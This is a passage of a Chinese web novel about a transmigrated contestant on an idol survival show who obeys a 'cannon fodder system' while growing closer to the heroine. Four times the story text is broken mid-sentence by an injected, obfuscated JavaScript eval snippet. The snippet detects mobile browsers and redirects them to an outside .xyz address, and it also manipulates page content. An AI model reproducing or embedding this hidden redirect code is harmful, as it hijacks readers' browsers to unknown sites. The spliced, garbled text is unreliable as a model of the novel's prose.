欸不对，什么叫做“整天女主女主地”？ 这个系统的思想很有问题嘛。 顾菀开口训道：“我没有一天到晚想着女主，我只是在尽职尽责地完成任务，请你不要诋毁一个忠心耿耿为剧情服务的金牌炮灰，谢谢！” 9. 选秀第9天 MV录制的当天晚上，《创星101》第一期播出了。 选秀讲究的就是个新鲜，每期的播出日期和她们的实际录制日期之间不会超过半个月。 《创星101》背后倚仗的是新媒体的龙头公司，宣发资本和技巧上都足够充分，再加上直播预热和直拍预热，基本上算得了家喻户晓了，大家纷纷订阅了官方号，只等第一期开播。 晚八点开始，各大社交网站的热度都咻咻地往上飞，前几天直播里的录屏和截屏也在作为剧透疯狂传阅。 不过直播效果自然没有节目本身出彩，观众看完还觉得不过瘾，反而一再拉高了对节目的期待。 顾菀的粉丝就是这样的。 别看顾菀自己心不在焉地，粉丝还是吸来了不少的。 初舞台上，本身顾菀的直播镜头就极少，大部分粉丝也都是在主题曲训练时期入的坑，她们本来还想着剪一段姐姐的单人cut出来好好舔一舔。 厚厚的实时弹幕直接屏蔽，后援会成员们一个个睁大了眼睛，想从角落里抠出自己的爱豆来。 结果—— 【节目组真的强，三个小时的综艺给你菀姐两个镜头，还都是远景#微笑#微笑】 【笑死，摄影师一看就是专业的，六个人的团体舞台，就没切到过她正脸，永远可以被挡住，我真的服气了。】 【六个人的舞台选什么站位不好，把顾菀排在C位身后？演啥呢演影子是么？@丰音娱乐滚出来挨骂#微笑】 【点评直接跳过，就给个D？评委摸摸自己的良心，她站在C位正后方，每个动作都完美重合，你告诉我这个舞蹈功底你给D？？】 【公司和节目组都不做人#流泪，听点评的时候她好乖就站在队伍最边上，结果从头到尾只给她拍进去半个身子#流泪。我可太委屈了。】 和顾菀产生鲜明对比的是同进了D班的温向晴。 单人舞台结束之后是才艺展示，评委还连着问了好几个问题，足足给了三分钟的镜头。 虽然远远比不上其他大热成员，但考虑到她的出身，这已经是非常优厚的待遇了。 两家唯粉本身就因为温顾cp的愈演愈烈而矛盾重重，这次更是直接开撕了。 【有的皇族白给那么多机会，干啥啥不行，节目组明摆着要捧出来做门面是吧#微笑】 【说话带点脑子行吗？最新的直播没看吗？谁进了A班谁没进心里没点笔数？】 【你说这个我就不困了，就你姐姐那种直拍也能进A，我笑了。】 【总比有的人唱都唱不清楚要好哈。】 【#委屈，菀菀和阿晴关系那么好，粉丝也不要吵架啊，两个妹妹一起进步不好吗。】 【？？？cp粉滚粗！】 一场骂战持续到深夜才暂时休了战，各自收摊回家。 该收新人的收新人，该打投的打投。 顾菀家的粉丝不用剪二创，一个个打投时都下了狠劲，只希望能给自己喜欢的姐姐挣个好名次，让节目组看到她的价值。 至于顾菀本人，她睡得比粉丝还晚。 101个人录制MV真的是一个极大的工程。 女孩们一直录到天亮才被放出来，顾菀累到直接无法思考，心里一遍遍地庆幸着“还好这是原主的身体”。 她胡乱洗了个澡卸了妆，冲回床上倒头就睡，一觉睡到选管来喊起床。 选秀节目的节奏向来很快，她们今天下午就要去录制第一次公演选曲了。 第一次公演采用分组对抗的形式，101个女孩要分成16组，由A班的11个女生加上其他班勤奋排名前五的5个女生担任队长，其余选手按照主题曲考核时的打分高低，依次选择想跟的队长。 何尧在台上念着规则，早就熟读原著的顾菀偷偷打着哈欠，在心里计算着自己缺了几个小时的觉要补。 其他选手都在考虑要选哪个队长，顾菀就完全不用担心—— 因为她早就被安排好了。 原著里，原主恰好就是女主的一公队友，也正是靠着女主这队的加票，她才顺利度过了第一次顺位发布的。 因为这事，等她后期被爆出排挤女主的黑料时，女主的粉丝们一个个都恨不得撕了这头只会吸血的白眼狼。 顾菀的分数不高也不低，轮到她选人时，前面已经去了十几个了。 比赛期间是采取全封闭制的，选手们并不知道各自的人气如何，便只能靠着过往印象来选。 比起勤奋位的5个和身为素人的温向晴，其他几个A班成员显然都是经验更丰富的大佬，除非是想和好朋友一组，不然肯定要选最优秀的。 因此，顾菀一眼望过去时，有的组目前一个人都没有，有的组已经站了两三个了。 温向晴立在原地，身边一个人都没有。 她微卷的长发披在肩上，双手背在身后，一双漂亮的眼睛朝顾菀看过来，心里渐渐升起了期待。 顾菀看起来极其地不假思索，径直走到了温向晴的身后。 直播弹幕直接炸开了锅： 【靠靠靠靠#流泪，神仙爱情！她们果然是真的！！】 【“没有人选你没关系，等我来陪你”#流泪，kswlkswl，我就知道菀姐肯定会选她！】 【啊啊啊阿晴凑过去了，她笑得好开心！！两个人是不是想说悄悄话了！】 顾菀正神游天外呢，突然就见温向晴转过了身子，朝她靠了过来。 “顾菀。”温向晴凑到了她耳边，声音极小，“我会努力的，总有一天，能和你并肩而立。” “？”顾菀一时半会没法消化她在说什么。 别啊女主？这是她理解的意思吗？ 女主要和她并肩而立、双双退赛了，请问她的任务还做不做了？ 世界一崩塌，走红程度也无法转换成积分，她辛辛苦苦工作为的是什么？ 女主，你要振作，你要自信。 你好好看看，这，我的脑袋，看到了吗？ 踩啊，使劲儿踩啊！我就是顶也要把你给顶上去。 顾菀当然不可能说得那么直白，她深吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112519|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，语气坚定道：“C位只有一个，只能是你的。” 她说完还不忘本职工作，狠狠地瞪了温向晴一眼，然后就转过身去若无其事地开始看其他选手选人了。 分组不一会儿就决定好了，温向晴这组一共六个人。 顾菀仔细辨认了一下，冲贴着F班铭牌的韩佳期微微一笑。 这可是她一公时期的战友，原著钦点的那种。 在公演舞台准备的时候，她们俩将会联手排挤女主，成为女主拿下C位的最大阻力。 等网友批.斗的时候，两个人的名字都是挨着个的。 多么深厚的革命友谊！ 顾菀觉得光是微笑还不够，她想开口打个招呼。 没想到，韩佳期就仿佛没看到她似的，低头玩起了自己的手指。 她当然不知道，自己这几天的行为已经让韩佳期把她划进了温向晴的阵营。 尤其是，她刚刚才毫不犹豫地选择了温向晴。 这俩人不是一起的，说出去有人信吗？ 韩佳期在心中嗤笑，她是实在没得选了，不然怎么也不会来和温向晴一组。 明明是同一个公司旗下的艺人，温向晴一个新签的素人却可以拥有单人舞台，还不是靠着禹修翊这个后台在四处打点。 她心里怎么能平衡。 分组结束后，并不是直接开始选歌，而是先让各个小组通过小游戏来排选曲的顺序。 何尧看着台下发出了一片担忧的叹息，温和地解释着：“不用怕，只是一个趣味项目，考验你们的团队协作能力噢。” 比赛道具用的是小款的瑜伽球，每个组出四个人，两两协作。 先由起点处的两名队员共同用背部夹住球，移动到终点处，再换另外两人上场，以同样的方式回到起点处。 每组会按照完成的时间进行排序，时间最短的组拥有优先选择权，最长的自然就只能挑别人剩下的了。 顾菀不等制作人念完比赛规则，早早就退开了小团体一步，和韩佳期站在了一条线上。 原著里，她们两个刺头一开始并没有参与比赛，而是在边上划水。 直到温向晴扭伤了脚，被另一个队员送去了医务室，两人才作为替补完成了比赛。 想到这个，顾菀忍不住用脚蹭了蹭光洁的地面。 确实挺容易打滑的，而且摔在上面应该会很疼吧。 “顾菀！”一声明朗的叫唤打断了顾菀的小差，她抬起头来，就见温向晴的脸上扬起了笑容，“我们俩一组吧。” 韩佳期一脸了然，她嫌弃地皱了皱鼻子，又往后退了一步。 弹幕一片激动： 【我就知道！啊啊我就知道！！固晚向晴又过年了！怎么又过年了！！】 【这就是嗑到真cp的幸福吗？找尽一切机会给粉丝发糖。为了嗑糖我没出息地在坑底躺平了！】 系统比顾菀反应要快，直接开始了撺掇：“你就去呗，还能保证女主顺利摔倒。” ？ 什么玩意儿！怎么又加班！ 10. 选秀第10天 “顾菀，你放松一点！” 同组被剩下的女生站在一旁看她们调整姿势，颇有参与感地指挥着她们。 呵呵，田偲偲同学，我明明是在替你的班。 顾菀转过头去，记住了那个女生的名字。她一边在心里吐槽着，一边尽量放松自己僵硬的身体。 她和温向晴在做赛前准备。 两人背对背站着，努力往后靠，夹紧了瑜伽球。 这个球要紧紧地贴着她们的背部，中途不能滑到其他部位，也不能落地，否则就不能继续前进。 “诶，我看其他组都是挽着手走的，你们也挽起来吧。” 田偲偲性格活泼，她四处张望着别人的情况，一直在积极地提建议。 ？？ 不等顾菀拒绝，温向晴也点头：“这样的话能贴得更紧一点，容错率也会高不少。” 她说着便把手向后伸去，扶住了顾菀的胳膊。 顾菀好不容易才放松下来的身体，瞬间又僵硬了起来。 说来可能没有人会相信，在她漫长的二十几年时光里，还从没有和人有过这么亲密的接触。 温向晴的胳膊肘擦着她的，细腻的肌肤带着微微的凉意，熨帖得很是舒服。 大概是一年来经历了不少艰辛，那双手掌上生了几个薄薄的茧子，擦过她时，仿佛带起了微弱的电流。 刺得她的心里也酥酥麻麻的。 淦。 顾菀一言不发，面无表情地配合着温向晴的动作，调整到一个合适的姿势。 “哇，顾菀，你的耳朵怎么红了！” 田偲偲兴奋得就跟个cp粉头似的，小姑娘一看就是个小屁孩，不该说话的时候净爱乱讲。 顾菀面无表情，睁眼说瞎话：“呵呵，我耳朵从小红到大。” 温向晴背对着顾菀，看不到顾菀的神情变化，只是感觉心口的甜味在不断地扩大，上扬的唇角怎么都抑制不住。 至于屏幕前的观众？哦，她们已经嗑糖嗑到撑死了。 向来稳妥的金牌炮灰居然也有马失前蹄的一天，这是温向晴摔倒的那一刻，顾菀脑中闪过的想法。 五十米的赛道，她们的速度很快，原本遥遥领先。 可惜温向晴突然脚下一滑，整个身子都侧翻了过去。 温向晴的左手抽了力，两人交叠的姿势松开了，瑜伽球直接从空隙掉了出去。 顾菀居然在一瞬间忘记了自己的任务，直接慌了阵脚，下意识转身想去拉住温向晴，结果却被交挽住的左手牵扯住了，在重心倾斜之下，她重重地摔在了地上。 右手胳膊最先点地，顾菀吃痛地皱起了脸，心里为自己的身体一阵默哀。 人生就是这么的戏剧，她刚刚的猜测居然被她自己验证了——摔在地上是真的好痛。 因为有顾菀垫在下面，温向晴的情况反而好了点，只不过她扭到了脚。 刚刚落地时那一声巨响她是听见了的，脚怎么样都不重要，她第一时间向顾菀看过去。 在半空中触到了顾菀的视线。 “呼。”顾菀喘了口气，即使是这种时候也仍旧看不出什么表情，“你没事吧？” 她视角有限，没注意到女主到底扭伤没有。 一定要扭伤啊！拜托一定要扭伤啊！ 温向晴蓦然鼻子一酸。 明明被连累、还被当成了肉垫子，怎么还反过来问自己有没有事呢？ 这个傻子，她是有多喜欢自己啊。 温向晴的心里又是感动又是甜蜜，她眨了眨视线被朦胧掉的双眼，伸手摸上了顾菀的耳朵：“还真的红掉了嗳。” “……说了是天生的。”顾菀咬牙切齿。 幸亏这样的气氛持续了还不到半分钟，工作人员和其他选手很快就围了过来，忙不迭地把两个人送去了医务室。 顾菀的身上果然紫了好几块。 炮灰就是这么可怜的，她认命。 医务室的小姐姐很是可爱，耐心地给她上完了药，还不忘鼓励她：“顾菀，我是你们的粉丝哦。” “固晚向晴是真的！”小姐姐眼泪汪汪地捧着她的手说道。 “啊？”顾菀一脸懵逼。 小姐姐收拾好医药盒，朝她挤挤眼：“我懂的！”越是真的cp，就越不能表现出来。 她说着就比了一个加油的手势，然后赶紧离开了现场，给自己的cp留出二人世界。 顾菀摸不着头脑，一回头，却看到坐在一旁的温向晴在朝她笑，脸上写满了温柔。 ……居然还笑。 都怪这个女人钦点了自己上场，害得自己也摔了一跤。 要是摔倒的是顾菀在现实中的身体，那她现在就该去ICU门口哭了。 以前坠崖的记忆实在是太过深刻了，即使是在虚幻的小说世界里，她的心理仍旧难以摆脱对于失重的恐惧感。 医务室并没有安装摄像头，顾菀出了会儿神，决定补个觉。 她往椅背上一靠，双眼就闭上了。 半小时后，顾菀被叫醒。 “我们组分到了《海鸥吻过的夏天》，现在大家马上要去各自的练习室了，我们也过去吧？”温向晴和她解释道。 这是原剧情里的那首歌，看来一切顺利。 顾菀点点头，起身正打算出去。 一回头，却看到温向晴单脚站了起来，双手想要去拿拐杖，手腕上还挂着一袋子药，在空中晃啊晃的。 顾菀拄过拐杖。她知道，即使是在胳肢窝下面垫了厚厚的棉垫子，依旧会留下红肿。 “上来，我推你。”顾菀直接拿出了一旁的轮椅，敲了敲金属扶手示意温向晴坐上去。 没办法，必要的时候炮灰就是要担任起一些苦力活的。 主题曲评选的时候，女主已经错过了C位，进而失去了一个代言，这次公演她可一定要保证女主能拿到第一。 医务室的位置相对偏僻一点，顾菀绕了一会儿才走到练习室所在的大楼。 上了两层楼梯就听到了楼上传来的声音。 是刚刚结束了选曲的其他选手。 她们一边往自己的练习室走，一边在讨论着先前的情况，并没有发现和她们隔了半层楼梯的二人。 “我当时还犹豫了一下耶，幸好没有选温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112520|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向晴那组。” “也不一定，她如果到时候脚伤没好，肯定就能把C位让出来了啊，说不定就因祸得福了。” “拜托，虽然不知道赛制怎么样，但好歹是一个组的吧。队里唯一一个A班的还带伤表演，你觉得成绩能有多好？” 顾菀不由自主地朝轮椅上的女孩看过去。 温向晴没吭声，倒是眼睛却垂了下去。 看得她心里咯噔一跳。 果然，等她们组的六个人围在一起讨论时，剧情出现了偏差。 她们组因为突发事故耽误了太多时间，直接变成了倒数第一，只能挑别的组挑剩下的。 《海鸥吻过的夏天》是一首比较经典的情歌，风格离女团相差较远。 最大的缺点就是歌曲稍显舒缓，导致舞蹈部分过少，是一个接近vocal表演的曲目。 一公舞台，大家都恨不得展示自己的所有优点，因而并没有组愿意选这首。 六个女生把教学视频看完一遍，不由得都陷入了沉默。 顾菀倒是一早就知道比赛结果，情绪上完全没有波动。 考虑到士气低迷会不利于正常发挥，她清了清嗓子，给出了一些剧透：“不用担心，我们组肯定是双第一。” 几个小姑娘勉强笑了笑，没把她的话当真，倒是韩佳期皱起了眉头：“什么双第一？” “小组第一和点赞王啊。”顾菀说得理所当然。 韩佳期神色一变，没有再搭话。 她现在算是明白为什么顾菀会和温向晴抱团了——合着都是关系户嘛。 一公的赛制要等到公演前一刻才会公布，虽然大家私下里都有猜测，但没有一个人可以像顾菀这样一脸笃定。 肯定是因为他们公司早早就拿到了剧本呗。 韩佳期撇撇嘴。 一轮游就算了，为什么还要被两个皇族恶心。 “那我们先来分part吧。”温向晴打破了沉寂，“先说明一下，我就不担任C位啦。” “不行。”顾菀下意识就脱口而出了。 她果然是受到了那些话的影响。 原著里的女主可不是这样没有上进心的。 不论是主题曲录制也好，还是扭伤了脚的一公也好，她每一次都勇敢地去竞争了C位。 尽管因为一些原因没有办法完美发挥，但毕竟女主光环在，也不会有人喷她能力不配。 久违的程序警示音突然响起： 【宿主请注意，已进入剧情，请尽快完成任务：反对温向晴拿C位】 “咳咳。”回过神的顾菀用力咳嗽了几下，掩饰道，“我的意思是，我也觉得你当C是不行的。” 话一说完，她就开始给韩佳期打眼色。 韩佳期被她看得莫名其妙，转过头去一言不发。 这不就是想自己拿C的意思吗？还想拿她当枪使？没门！ 顾菀还在纳闷着她一个先锋都上了，后卫怎么还不跟紧呢，就听温向晴继续开口了。 “那我们现在来投个票？”温向晴的声音轻快灵动，听起来完全没被什么影响到情绪，“我选顾菀。” 11. 选秀第11天 话音一落，满室沉默，只有直播屏幕前的cp粉们三度过年。 【阿晴居然让C了！今天怎么回事，我要嗑到晕古去了！固晚向晴真的太好了！！】 【看到她们一组的时候就该想到的，嗝，对不起糖吃太多我好饱。】 【#擦汗，就我一个人觉得她挺不负责任的吗，扭了脚又怎么了，为了呈现最好的效果不就该做点牺牲吗？】 【对，就你一个，明明菀姐也不差好吧，她当C就会影响效果了？】 【cp粉好烦啊，节目组给的剧本你都信啊？皇族就是皇族，阿晴的血都要被吸干了#呕吐】 “……” 顾菀沉着的面色下，是她欲哭无泪的内心。 “系统，女主不按剧本走不算违规的吗？”她试图向系统求助。 “怎么会呢？”炮灰系统讶异道，“小说世界里只有你一个任务执行者，如果女主不走剧本，肯定是你的问题呀。” “那我可以不阻止她拿C位吗？” “这是任务，怎么可以不完成呢？”炮灰系统笑眯眯地打断了她，“世界会崩掉的呀。” “……可是现在女主主动想放弃C位，我继续阻止的话，如果女主最终拿不到……” “世界也会崩掉哦。”系统继续笑眯眯。 …… 这有什么好笑的吗！ 她想打人了！ 明明她那么规矩地走着剧本，怎么可能会出问题！ 好在，队里其他几个人也觉得很离谱。 “可是，别的队好像都是队长担任C位的欸，我们队里只有你一个是A班的……”田偲偲犹豫着开了口。 温向晴微微笑着，仿佛完全没有被自己的脚伤影响情绪：“勤奋C的五组里都没有A班成员呢，顾菀是B班的，能力上肯定没问题。而且这首歌偏vocal……” “就是因为这首歌偏vocal，”顾菀总算是找到了切入口，她这边一直没有响起任务结束的提示音，她只好反复表明自己反对的态度，“舞蹈部分那么少，你根本发挥不出能力。” 按原剧情走的话，她现在应该推举自己当C了。 试问，还有比团队里自视甚高的彩笔更能拉仇恨的角色了吗？ 可现在被温向晴横插一刀，她要是真的想选自己，不就应该和女主一条心吗，为什么还要打断女主说话呢？ ……太弱智了。 不可不可。 除去和她女主一个A班一个B班，剩下的就是C班选手了。 顾菀的视线在空旷的教室里逡巡了一圈，落在了坐在她对面的人身上。 很好，田偲偲，就你了。 原著里，作为女主在一公时期认识的好闺蜜，田偲偲的戏份可比原主多多了。 她就是小游戏结束后，搀扶着女主去医务室的人，自此结下了深厚的友谊。 在后续的排练过程中，田偲偲也对女主的脚伤多有照顾，一直在鼓励她勇敢担任C位，靠着和女主组cp获得了不小的热度。 既能给女主打造cp感来吸粉，又自觉地不会抢走女主的C位。 金牌炮灰顾菀觉得自己终于找到了解题思路，连开口都变得有底气了：“所以，我选田偲偲。” ？？这是什么逻辑。 突然被推上台的田偲偲满脸问号。 她就是一个C班小透明，以前在组合里也是个边缘人物。 因为长相是可爱类型的，不是观众的菜，即便来参加了选秀，也一直没起过什么水花。 要说拿C位，在座的肯定都是想拿的，但就怕能力配不上位置，反而会引来一波嘲笑，败坏路人缘。 顾菀为什么不肯拿C？不就是怕被嘲不如温向晴吗！ 那就一起投温向晴不就好了，为什么要来推她上！ 田偲偲抓着顾菀话语中的漏洞反驳道：“对啊，这首歌又没多少舞蹈部分，温向晴当了C还能给她简化动作。” “可她就是不适合当C。”顾菀皱了皱眉，看起来她好像真的很嫌弃温向晴当这个C位。 “顾菀！”田偲偲脑子转得快，一下子就想通了，语气中很是不高兴，“你这人怎么这么双标呢！我知道你心疼温向晴的脚，可是你能不能为我们团队考虑一下！” 一语惊醒梦中人。 队里另外几个成员，先看看顾菀板着脸一副打死不让温向晴C的样子，再看看温向晴毫不介意地柔柔笑着把一缕头发别了在脑后。 这还能不明白吗？ 弹幕点题： 【哎，你们老攻就是这么关心老婆的吗？】 这下懵圈的变成顾菀了。 “不是，我什么时候……”她试图解释。 “好啦，小菀，我知道的，谢谢你。”温向晴朝她微微一笑，开始主持大局，“也谢谢偲偲的信任，我会做出对我们团队最好的选择的。” 你知道什么！ 你什么都不知道！ 我是真心不想让你拿C的恶毒炮灰你懂吗！ 顾菀第一次把任务卡这么久都无法完成，估计就是因为没有人相信她。 “那我们先投个票？” 组长一发话，几个女孩纷纷指出了自己心仪的人选。 虽然只有顾菀一个人没选温向晴，但还好她的战友韩佳期选择了弃票，让她这个炮灰走在反对女主的道路上时不显得那么孤独。 温向晴稍稍看了一下，明白了大家的态度。 “那看来我要多加练习啦。”她说完就转身看向了顾菀，笑着安慰道，“别担心了好不好？我真的会注意的。再说了，这不是还有你监督吗。” 【任务完成，积分+10】 顾菀可不是那种喜形于色的低级炮灰，即使是上一秒收到了认可，也不会影响她冷着脸没好气地回话：“谁担心你了。” 结果教室里几个人都露出了一副“行行行我懂的”的表情，让她不由得对自己的演技产生了一点怀疑。 那边，温向晴开始继续走流程，给每个成员分part；这边，顾菀已经把疑惑抛在脑后，开始美滋滋地和系统聊起了天。 “这次居然加了十分！十分！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么落在宿舍啊，你不是送给女主了吗？”系统提醒道。 恶毒炮灰语气坚定：“怎么可能！我什么时候送她的。” “就前天晚上啊，你连盒带耳机扔给了女主。”系统帮她回忆着。 ……她就说呢，那个小方盒怎么握着感觉那么趁手。 顾菀扶额，有气无力地责难道：“我那是砸她！不是送！你既然知道也不阻止我。” “宿主干得很好啊。”系统鼓励她，“现在去要回来不就好啦，还能在摄像头下再拉一波仇恨。” 顾菀抬头望过去，温向晴就坐在离她不远的地方，已经投入练习了。 头微微低下，长发被别在耳后，露出了耳朵上一抹漂亮精致的蓝黑。 这该怎么要？ “喂，前天砸你的凶器该还我了吧？” 嗯，这样的措辞比较好，既能暗示她曾经欺负过女主，听起来也挺不要脸的。 顾菀演练完毕，抬脚向温向晴走去。 12. 选秀第12天 听到脚步声的温向晴抬起了头，看到来人后，一双漂亮的眼睛瞬间亮了起来，唇角也微微勾起。 原本士气满满的顾菀不知为何，被她这么一看，瞬间泄了半口气。 “喂……”她凶神恶煞地开了个头，结果惨遭打断。 “你来得刚好。”温向晴笑着拍了拍自己身边的空位，摘下右耳上的耳机朝顾菀晃了晃，“你的耳机在我这儿哦。” 呵，原来女主还记得这茬，那事情就更好办了。 顾菀一屁股在她身边坐下，打算继续刚刚的台词，突然就见温向晴朝她飞快地靠近，又迅速回到了原位。 她的耳朵一热，右耳就被戴上了耳机。 “你是不是只有这一副耳机呀？”温向晴一边说着话，一边调节着视频的音量，“这样的大小合适吗？” “合适。”对方的动作实在太自然了，顾菀下意识地就点了点头，争辩的气势也不由得弱了下来，“对啊，我只有一副耳机，所以……” 温向晴又笑了起来，她抬手戳了戳顾菀的脸：“我就知道，小傻子。你把耳机给了我，自己不就没办法用了嘛。所以我们一起学吧。” 这下顾菀真的是一句话都说不出来了。 温向晴的手，是用来干活的手。 指甲修剪得很短，带着一点平剪后留下的细小尖角，没有被打磨圆润。 指尖上有一层较硬的皮肤，点在她娇嫩的面颊上时，能感觉到明显的摩擦感。 顾菀过去就没和人有过接触，结果今天接连两次被温向晴破例。 她出了奇地敏感，怪异的情绪在脑中无限堆积，直到往上传递，在脸上现出了点点绯红。 离谱，太离谱了，耳机她不要了，这任务是没法做了！ “小菀，回回神啦。”温向晴看出了顾菀在脸红，却也没有点破，而是指了指手中的歌词本，示意她听课。 刚刚说的话只是气话，怎么可能不做任务呢。 她还指望着商城积分救她狗命呢。 哎！ 摸一下就摸一下吧，也不会少块肉。 毕竟女主是尊贵的顾客，只要女主能爆火、能给她换来大量积分，让她干啥都行。 “哦。”这样想着，顾菀垂下头，认命地看起了视频课，不忘补充道，“别叫我小菀！还有，也别碰我！” “好~” 金牌炮灰的优秀是体现在方方面面的，尤其是心理素质。 顾菀在面对各种奇怪的剧情走向时，也总能坦然应对，游刃有余，这是她给自己封金牌的原因之一。 比如现在，她很快就忽略掉了自己和温向晴在共用一副耳机这样的细节问题，迅速投入到了歌曲的学习中去。 学女团曲目时，她只需要不跑调、唱得好听就行，全靠原主的能力发挥作用。 但《海鸥吻过的夏天》好歹是歌坛巨星的经典曲目，顾菀上完课后，才知道这首歌牛叉在了哪。 歌曲里有诸多细节需要注意，高音和转音的处理就不用说了，B段最后的那几句是整首歌的最高潮，对爆发力和节制力的兼顾有着极高的要求。 她知道原主的声乐能力很强，但苦于自己缺乏基础知识，没办法直接调用，只能从头到尾一点一点地顺。 一句话要唱个几十遍才能找对感觉，歌词本上很快就记下了一段段密密麻麻的心得和注意事项。 时间过得飞快，等顾菀顺完自己的部分时，食堂都快要开晚饭了。 温向晴见她进度已经差不多了，便挥了挥手，把几个队友都聚在了一起，先把歌整合了一遍。 她们这队本身整体素质就不算高，顾菀一曲听下来，感觉小毛病还是有不少的。 她想了一会儿，刷刷地在歌词本的背面写上了大家的问题所在和改进建议，打算找个机会给女主看看。 女主自己的唱腔似乎也有待改进，看来是声乐天赋还没完全开发出来。 如果她这回再想建立起“热心帮助队友”的好人设，肯定会比其他几个C位大Vo难上不少。 这就需要炮灰出场了。 她把东西提前写好，让女主先自学、再去教人，教学效果应该会直线上升。 到时候，女主的好人设有了，小组的双第一也稳了，这波是双赢！ 在顾菀奋笔疾书的时候，其他人已经起身开始收拾东西了。 她们打算先去吃饭，晚点再回教室继续练习。 韩佳期把自己的歌词本压在了平板上，打算出门。 回头一看，教室里只剩下了温向晴和顾菀两人，皆是一副沉浸在学习中的样子，心中不由得有些复杂。 刚来比赛的时候，她是真的心有愤愤的。 她过去不甘心只能拿陪读剧本，却又因为自己缺乏天赋而感到无奈。 结果温向晴就空降了。 赛前几天才签约的新人，毫无表演经验，初舞台看起来和她水平也差不多，凭什么能作为单人参赛？ 她当时还很不服气，认为温向晴是靠关系上位的人。 结果她们就被分到了一组，作为队友，她终于看到了温向晴如今的实力。 单论vocal来说，是比初舞台时期好上了一百倍的实力。 至于她曾经以为的另一个关系户、顾菀就更是让她感到惊艳了。 难怪温向晴想让顾菀当C，还执意把killingpart给了出去。 两个D班的成员凭借着不懈的努力步步攀登，而她却只知道怨天尤人…… 仰望感顿生。 韩佳期犹豫了一下，把她的歌词本从平板下抽了出来，打算去食堂的路上再好好摸索一下。 这是一个靠结果说话的舞台，她初始能力差又怎么了，还没努力过怎么知道自己不会逆风翻盘？ 教室里的两个人浑然不知自己在无形中给队友狠狠打了一波鸡血。 温向晴看看时间，估摸着各班的人都走得差不多了，便小心翼翼地站了起来。 大家为了迁就她，进教室之后，她就一直没有挪过窝，讨论的时候纷纷来她这边聚着，练习的时候又主动去了各个角落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112522|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她扶着墙站了一会儿，感觉僵了一个下午的身体总算好过了些，低下头和顾菀闲聊道：“我们队友人是真的好。我害得大家拿了vocal舞台，结果自己都不擅长，感觉挺对不起她们的。” “有什么好对不起的。”顾菀头也没抬，把最后几个字写完后，也拍拍手起了身，“你能带大家拿第一啊，这还不够吗。” 温向晴失笑。 这人怎么这样啊，老是觉得她样样都行，都这种情况了还能一脸笃定。 何况她还…… 温向晴悄悄抬头看了一眼正前方的摄像头，不自觉地攥紧了拳头。 “行了，别想那么多。”顾菀把手中的纸头又过了一遍，确定没什么遗漏后，往温向晴的手中一塞，“站着别乱动，我去给你拿轮椅。” 练习室、食堂和宿舍分处三个不同的地方，考虑到吃完饭后温向晴还得回宿舍换药，顾菀直接就把她送回宿舍了。 “你、你歌词本是不是没带啊，只能委屈你看看我的了。”顾菀为了让温向晴看到自己写的东西，可谓是煞费苦心。 留下一句状似随意实则暗示的话之后，她就去食堂打饭了。 顾菀受伤的时候年纪很小，对当时自己的食疗菜谱毫无印象。 现在手头也没有手机，查不到扭伤了脚的人应该吃什么补。 不过她身为“原著党”，怎么可能会因为不知道打什么菜而感到困扰呢？ 原著里对炮灰原主几乎是只字未提，但女主可是记录得事无巨细，就连她害羞的时候会把头发别到耳后这种小习惯都反复写了好几遍。 顾菀来得较晚，各个窗口排队的人也不少，她先是去了第一个窗口。 扫了一眼，不行啊，没一个是女主喜欢的。 于是赶紧去下一个窗口。 不错，有个糖醋排骨。 “阿姨，一份糖醋排骨！对，只要排骨。麻烦多给一点，谢谢阿姨，阿姨真漂亮！” 然后是第三个窗口。 有鱼香肉丝和酱香茄子，那就都来一份吧。 顾菀把八个窗口都排了一遍，打了七份符合温向晴口味的菜，花去了不少时间。 “宿主……”炮灰系统在她脑中幽幽开了口，“你不觉得你对女主有点太好了吗。” “她脚受伤了没办法来食堂啊。我要是放任她饿死，要是一公搞砸了怎么办，要是她的脚好不了了怎么办。”顾菀分析道，“世界会崩掉的。” “那也不至于都按她喜欢的打吧。” “万一她挑食呢？不肯吃饭，饿到晕倒？” 系统想了想，觉得非常有道理，最后挣扎了一下：“可你打了七个菜。” “我也要吃的呀。”顾菀说得理所当然，毕竟她又不挑食，浪费食物也不是个好习惯。 